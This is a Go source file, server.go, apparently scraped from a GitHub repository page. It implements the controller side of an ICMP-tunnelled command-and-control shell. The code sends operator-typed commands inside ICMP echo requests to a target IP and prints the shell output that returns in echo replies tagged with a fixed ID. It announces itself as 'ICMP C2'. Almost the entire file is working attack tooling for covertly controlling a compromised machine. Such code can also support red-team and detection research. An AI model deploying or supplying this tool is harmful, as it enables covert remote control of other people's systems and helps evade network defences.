-
Notifications
You must be signed in to change notification settings - Fork 47
/
server.go
117 lines (96 loc) · 2.88 KB
/
server.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
package main
import (
"flag"
"fmt"
"net"
"os"
"os/signal"
"syscall"
"golang.org/x/net/icmp"
"golang.org/x/net/ipv4"
"bufio"
)
const (
ICMPID uint16 = 13170
)
var (
interfaceName = flag.String("i", "", "Listener (virtual) Network Interface (e.g. eth0)")
destinationIP = flag.String("d", "", "Destination IP address")
stopSignal = make(chan os.Signal, 1)
icmpShellPacket = make(chan []byte)
)
func checkError(err error) {
if err != nil {
fmt.Fprintf(os.Stderr, "Error: %v\n", err)
os.Exit(1)
}
}
func sendICMPRequest(conn *icmp.PacketConn, destAddr *net.IPAddr, command string) {
// Construct an ICMP Echo Request packet with the command as payload
msg := icmp.Message{
Type: ipv4.ICMPTypeEcho, // Note: You can use ipv4.ICMPTypeEcho instead of icmp.Echo.
Code: 0,
Body: &icmp.Echo{
ID: int(ICMPID),
Data: []byte(command),
},
}
msgBytes, err := msg.Marshal(nil)
checkError(err)
// Send the ICMP Echo Request packet to the client
_, err = conn.WriteTo(msgBytes, destAddr)
checkError(err)
}
func sniffer() {
conn, err := icmp.ListenPacket("ip4:icmp", *interfaceName)
checkError(err)
defer conn.Close()
for {
buf := make([]byte, 1500)
n, _, err := conn.ReadFrom(buf)
checkError(err)
// Parse the incoming ICMP packet
msg, err := icmp.ParseMessage(1, buf[:n])
checkError(err)
// Check if it's an Echo Reply packet with the correct ID
if echo, ok := msg.Body.(*icmp.Echo); ok && msg.Type == ipv4.ICMPTypeEchoReply && echo.ID == int(ICMPID) {
icmpShellPacket <- echo.Data
}
}
}
func main() {
flag.Parse()
if *interfaceName == "" || *destinationIP == "" {
fmt.Println("Please provide both interface and destination IP address.")
os.Exit(1)
}
go sniffer()
signal.Notify(stopSignal, os.Interrupt, syscall.SIGTERM)
fmt.Println("[+] ICMP C2 started!")
// Start reading user input for commands
go func() {
scanner := bufio.NewScanner(os.Stdin)
for {
fmt.Print("Enter command: ")
if scanner.Scan() {
command := scanner.Text()
conn, err := icmp.ListenPacket("ip4:icmp", *interfaceName)
checkError(err)
destAddr, err := net.ResolveIPAddr("ip4", *destinationIP)
checkError(err)
sendICMPRequest(conn, destAddr, command)
conn.Close()
fmt.Println("[+] Command sent to the client:", command)
}
}
}()
for {
select {
case icmpShell := <-icmpShellPacket:
fmt.Print(string(icmpShell))
case <-stopSignal:
fmt.Println("[+] Stopping ICMP C2...")
return
}
}
}